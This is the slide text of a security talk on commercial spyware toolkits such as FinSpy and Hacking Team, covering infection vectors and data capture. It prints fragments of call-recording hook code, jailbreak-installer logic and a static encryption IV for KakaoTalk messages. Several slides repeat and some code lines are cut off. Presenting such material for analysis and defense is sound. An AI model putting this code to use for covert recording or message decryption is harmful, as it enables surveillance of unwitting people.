A Stealthy Stealers - Spyware Toolkit and What They Do I. Stealthy Stealers
 II. Infection Vectors
 III. Capture Sensitive Data
 IV. Conclusion


1. A Stealthy Information Stealers
They know the things that we can’t help with
Documented by Ahn Sanghwan(h2spice@gmail.com)

2. 2
AgendaAgenda
I. Stealthy Stealers
II. Infection Vectors
III. Capture Sensitive Data
IV. Conclusion

3. Stealthy Stealer
3
They want to look through our eyes.

4. Stealthy Stealer
4
The Web is moving to HTTPS.
Encryption is increasingly more common.
They want to look through our eyes.

5. Stealthy Stealer
5
They are looking for a Solution
They want to look through our eyes.

6. Stealthy Stealer
6
They Hack the target,
overcome encryption and capture relevant data
They want to look through our eyes.

7. 7
https://youtu.be/TOXRHK_1kVg?t=30s

8. Stealthy Stealer
8
FinSpy
There are many commercial spyware toolkits for Intelligence Agency

9. 9
Stealthy Stealer
Many Country bought spyware toolkits

10. 10
Stealthy Stealer
• FinFisher(FinSpy) Customers : 32
Canada, Mexico, Panama, United States, Australia, Bangladesh, Brunei, India, Indonesia, Japan,
Malaysia, Mongolia, Pakistan, Turkmenistan, Vietnam, Singapore, Ethiopia, Nigeria, South Africa,
Austria, Bulgaria, Latvia, Lithuania, Macedonia, Netherlands, Romania, Serbia, United Kingdom,
Bahrain, Turkey, Qatar, United Arab Emirates
• Hacking Team(Da vinci, Galileo) : 36
Brasil, Lebanon, Bahrein, Poland, Colombia, Azerbaijan, Honduras, Cyprus, Turkey, Nigeria, Russia,
Thailand, Switzerland, South Korea ,Oman, Ecuador, Spain, Vietnam, Mongolia, Czech Rep,
Luxemburg, Egypt, Ethiopia, Panama, Uzbekistan, Singapore, Sudan, Kazakistan, United States,
United Arab Emirates, Malaysia, Hungary, Chile, Saudi, Morocco, Italy, Mexico
There are many commercial spyware toolkits for Intelligence Agency

11. Stealthy Stealer
There are many commercial spyware toolkits for Public

12. Stealthy Stealer
12
They make almost all platforms on target

13. Stealthy Stealer
13
Collect Everything, Constantly.

14. 14
Infection Vectors
Local
Local
Remote

15. 15
In Local
• Bootable CD/DVD/USB
• Bad-USB
• Customized Jail-Breaking or Rooting Tools for mobile devices
Infection Vectors
https://youtu.be/oNsXKPHBR3s?t=4m32s

16. 16
with Bootable CD/DVD/USB or BAD-USB
Infection Vectors
https://youtu.be/oNsXKPHBR3s?t=6m8s

17. 17
with Customised Jail-breaking(or Rooting Tools) for mobile devices
Infection Vectors

18. 18
with Customised Jail-breaking or Rooting Tools for mobile devices
Infection Vectors
if ( !sub_100020990(v4, off_102502328) )
afc_make_directory((__int64)v4, off_102502328);
v1 = sub_100021000(off_102502328, "Cydia.tar");
sub_100020AE0(v4, v1);
if ( sub_1000208E0(v4, v1, *(_QWORD *)(*(_QWORD *)(a1 + 8) + 128LL), *(_DWORD *)(*(_QWORD *)(a1 + 8) + 136LL)) )
{
free(v1);
usleep(0x7A120u);
v1 = sub_100021000(off_102502328, "pangu.tar");
sub_100020AE0(v4, v1);
if ( sub_1000208E0(v4, v1, *(_QWORD *)(*(_QWORD *)(a1 + 8) + 144LL), *(_DWORD *)(*(_QWORD *)(a1 + 8) + 152LL)) )
{
free(v1);
usleep(0x7A120u);
v1 = sub_100021000(off_102502328, "pangu_ex.tar");
sub_100020AE0(v4, v1);
if ( sub_1000208E0(v4, v1, *(_QWORD *)(*(_QWORD *)(a1 + 8) + 160LL), *(_DWORD *)(*(_QWORD *)(a1 + 8) + 168LL)) )
{
free(v1);
usleep(0x7A120u);
v1 = sub_100021000(off_102502328, "packagelist.tar");
sub_100020AE0(v4, v1);
if ( sub_1000208E0(v4, v1, *(_QWORD *)(*(_QWORD *)(a1 + 8) + 192LL), *(_DWORD *)(*(_QWORD *)(a1 + 8) + 200LL)) )
{
free(v1);
usleep(0x7A120u);
v2 = 1;
v1 = 0LL;
if ( *(_BYTE *)(*(_QWORD *)(a1 + 8) + 1264LL) )
{
v1 = sub_100021000(off_102502328, "helper.tar");

19. 19
Mactans (BlackHat 2013)
Infection Vectors
• Injecting Malware into iOS Devices via Malicious Charger
• Yeongjin Jang, Billy Lau, Chengyu Song, Georgia Institute of Technology

20. 20
In Remote
• Sending Executable or Document file
• Sending Link or QRCode included malware
• Modifying network traffic on the fly
(acting on data downloaded from target’s device)
• Replace URL resource
• Inject-EXE
• Inject-HTML-Flash (0-day vulnerabilities)
Infection Vectors

21. 21
In Remote
• Sending Executable or Document file
• Sending Link or QRCode included malware
• Modifying network traffic on the fly
(acting on data downloaded from target’s device)
• Replace URL resource
• Inject-EXE
• Inject-HTML-Flash (0-day vulnerabilities)
Infection Vectors

22. 22
In Remote
• Sending Executable or Document file
• Sending Link or QRCode included malware
• Modifying network traffic on the fly
(acting on data downloaded from target’s device)
• Replace URL resource
• Inject-EXE
• Inject-HTML-Flash (0-day vulnerabilities)
Infection Vectors

23. 23
In Remote
• Sending Executable or Document file
• Sending Link or QRCode included malware
• Modifying network traffic on the fly
(acting on data downloaded from target’s device)
• Replace URL resource
• Inject-EXE
• Inject-HTML-Flash (0-day vulnerabilities)
Infection Vectors

24. 24
In Remote - Network Injection
Infection Vectors
https://youtu.be/BXTyxAsYk3w?t=12s

25. Capture Sensitive Data
25
Sensitive Data that stealer can capture.
Money
Call
Message
Password
Contacts
Location
MIC
E-Mail
Camera
KeyLog
Clipboard
Web HistoryFile
Screenshot

26. Capture Sensitive Data
26
Android Call & MIC
• Audio Unit Hooking by Dynamic Binary Instrumentation(DBI)
HOOK

27. 27
void* setStreamVolume_h(void* a, void* b, void* c, void* d, voi
void* o, void* p, void* q, void* r, void* s, void* t, void* u, void*
void* newTrack_h(void* a, void* b, void* c, void* d, void* e, voi
void* p, void* q, void* r, void* s, void* t, void* u, void* w) ;
void* startTrack_h(void* a, void* b, void* c, void* d, void* e,
void* p, void* q, void* r, void* s, void* t, void* u, void* w) ;
void* stopTrack_h(void* a, void* b, void* c, void* d, void* e, vo
void* p, void* q, void* r, void* s, void* t, void* u, void* w) ;
void* threadLoop_h(void* a, void* b, void* c, void* d, void* e,
void* p, void* q, void* r, void* s, void* t, void* u, void* w) ;
void* audioFlingerC1_h(void* a, void* b, void* c, void* d, void
void* o, void* p, void* q, void* r, void* s, void* t, void* u, void*
void* audioFlingerC2_h(void* a, void* b, void* c, void* d, void
void* o, void* p, void* q, void* r, void* s, void* t, void* u, void*
void* getBuffer_h(void* a, void* b, void* c, void* d, void* e, vo
void* p, void* q, void* r, void* s, void* t, void* u, void* w) ;
void* stepUser_h(void* a, void* b, void* c, void* d, void* e, voi
void* p, void* q, void* r, void* s, void* t, void* u, void* w) ;
void* stepServer_h(void* a, void* b, void* c, void* d, void* e,
void* p, void* q, void* r, void* s, void* t, void* u, void* w) ;
void* recordTrack_getNextBuffer_h(void* a, void* b, void* c,
void* n, void* o, void* p, void* q, void* r, void* s, void* t, void*
void* recordTrack_getNextBuffer2_h(void* a, void* b, void* c
m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, vo
void* playbackTrack_getNextBuffer_h(void* a, void* b, void*
m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, vo
void* playbackTrack_getNextBuffer2_h(void* a, void* b, void*
void* m, void* n, void* o, void* p, void* q, void* r, void* s, void*
void* playbackTrack_getNextBuffer3_h(void* a, void* b, void*
void* m, void* n, void* o, void* p, void* q, void* r, void* s, void*
void* recordThread_getNextBuffer_h(void* a, void* b, void* c
m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, vo
void* playbackTimedTrack_getNextBuffer_h(void* a, void* b,
void* m, void* n, void* o, void* p, void* q, void* r, void* s, void*
void* newRecordTrack_h(void* a, void* b, void* c, void* d, void
void* o, void* p, void* q, void* r, void* s, void* t, void* u, void*
void* recordTrackStart_h(void* a, void* b, void* c, void* d, vo
void* o, void* p, void* q, void* r, void* s, void* t, void* u, void*
void* playbackTrackStart_h(void* a, void* b, void* c, void* d,
void* o, void* p, void* q, void* r, void* s, void* t, void* u, void*
void* recordTrackStop_h(void* a, void* b, void* c, void* d, voi

28. 28
record2
if( cblk_tmp == NULL ) {
#ifdef DBG
log("uthash shit happenedn");
#endif
return result;
}
#ifdef DBG
log("ttadded cblk from within getNextBuffern");
#endif
}
// otherwise dump from cblkb_tmp: buffer->raw [1] to buffer->frameCount [2] * frameSize [3]
// and update cblk_tmp
else {
if( result == 0 && cblk_tmp->lastFrameCount != 0 ) { // aka NO_ERROR and cblk_tmp-last* contains valid pointers (see goto getNextBuffer_exit)
// header
headerStart = lseek(fd_in, 0, SEEK_CUR);
#ifdef DBG
log("ttheaderStart: %xn", headerStart);
#endif
uintTmp = 0xdeaddead;
write(fd_in, &uintTmp, 4); // 1] cblk
write(fd_in, &uintTmp, 4); // 2] timestamp
write(fd_in, &uintTmp, 4); // 3] timestamp
write(fd_in, &uintTmp, 4); // 4] streamType
write(fd_in, &uintTmp, 4); // 5] sampleRate
write(fd_in, &uintTmp, 4); // 6] size of block
#ifdef DBG
log("tttbuffer spans: %p -> %pn", cblk_tmp->lastBufferRaw, (cblk_tmp->lastBufferRaw + cblk_tmp->lastFrameCount * cblk_tmp->lastFrameSize ) );
#endif
res = write(fd_in, cblk_tmp->lastBufferRaw, cblk_tmp->lastFrameCount * cblk_tmp->lastFrameSize);
#ifdef DBG
log("ttttwrote: %d - expected: %dn", res, cblk_tmp->lastFrameCount * cblk_tmp->lastFrameSize );
#endif
positionTmp = lseek(fd_in, 0, SEEK_CUR);
#ifdef DBG
log("ttfake header written: %xn", positionTmp);
#endif // Dumping Audio Buffer

29. Capture Sensitive Data
29
iOS Call & MIC
• Audio Unit Hooking by Substrate

30. Capture Sensitive Data
30
iOS Call & Voice
• Audio Unit Hooking by Substrate
micBuffer.mBuffers[0].mDataByteSize = sampleSize * bufferSizeInSamples;
micBuffer.mBuffers[0].mData = malloc(micBuffer.mBuffers[0].mDataByteSize);
AudioBufferList speakerBuffer;
speakerBuffer.mNumberBuffers = 1;
speakerBuffer.mBuffers[0].mNumberChannels = 1;
speakerBuffer.mBuffers[0].mDataByteSize = sampleSize * bufferSizeInSamples;
speakerBuffer.mBuffers[0].mData = malloc(speakerBuffer.mBuffers[0].mDataByteSize);
AudioBufferList mixBuffer;
mixBuffer.mNumberBuffers = 1;
mixBuffer.mBuffers[0].mNumberChannels = 2;
mixBuffer.mBuffers[0].mDataByteSize = sampleSize * bufferSizeInSamples * 2;
mixBuffer.mBuffers[0].mData = malloc(mixBuffer.mBuffers[0].mDataByteSize);
//Converting
while (true)
{
//Reading data from input files
UInt32 framesToRead = bufferSizeInSamples;
ExtAudioFileRead(micFile, &framesToRead, &micBuffer);
ExtAudioFileRead(speakerFile, &framesToRead, &speakerBuffer);
if (framesToRead == 0)
{
break;
}
//Building interleaved stereo buffer - left channel is mic, right - speaker
for (int i = 0; i < framesToRead; i++)
{
memcpy((char*)mixBuffer.mBuffers[0].mData + i * sampleSize * 2,
(char*)micBuffer.mBuffers[0].mData + i * sampleSize, sampleSize);
memcpy((char*)mixBuffer.mBuffers[0].mData + i * sampleSize * 2 + sampleSize,
(char*)speakerBuffer.mBuffers[0].mData + i * sampleSize, sampleSize);
}
//Writing to output file - LPCM will be converted to AAC
ExtAudioFileWrite(mixFile, framesToRead, &mixBuffer);
}
//Closing files
// Dumping Audio Buffer

31. Capture Sensitive Data
31
Capture Message & Another data
• Stored message as file (.db .sqlite .xml or etc)
• Plain-Text
• Encrypted Message
• need a Decryption (usually, Key stored in the local storage)

32. Capture Sensitive Data
32
Encrypted Message - case of Kakao Talk
• AES 256 CBC Encryption
• Generate a Encryption-Key base on UserId
• IVKey is static (1608096f02172b0821210a1003030706)

33. Capture Sensitive Data
33
Deleted Message Recovery
• Before Deleting
• After Deleting

34. Capture Sensitive Data
34
Capture Message via Window
• Accessibility
• Special Permission for Accessibility

35. Capture Sensitive Data
35
• Accessibility
• Special Permission for Accessibility
Capture Message via Window

36. Capture Sensitive Data
36
Messages or another datas
• Stored message as file (.db .sqlite .xml or etc)
• plain-text
• encrypted message
• need a decryption (usually, encryption-key store in the local storage)
• special permission , accessibility
• SMS, BLIND

37. 37

38. 38

39. Capture Sensitive Data
39
Authentication Bruteforce Attack
• Using information collected from another website hacked

40. Conclusion
40
We still confront security holes that we hardly control or even can not
• Injection issue on the Network Level
: File Reputation Services
: VPN
• Encrypt issue
: Trusted Platform Module - Encrypt/Decrypt sensitive data using the secure world
• Authentication Bruteforce Attack
: 2 Channel Authentication

41. Q / A

42. Thanks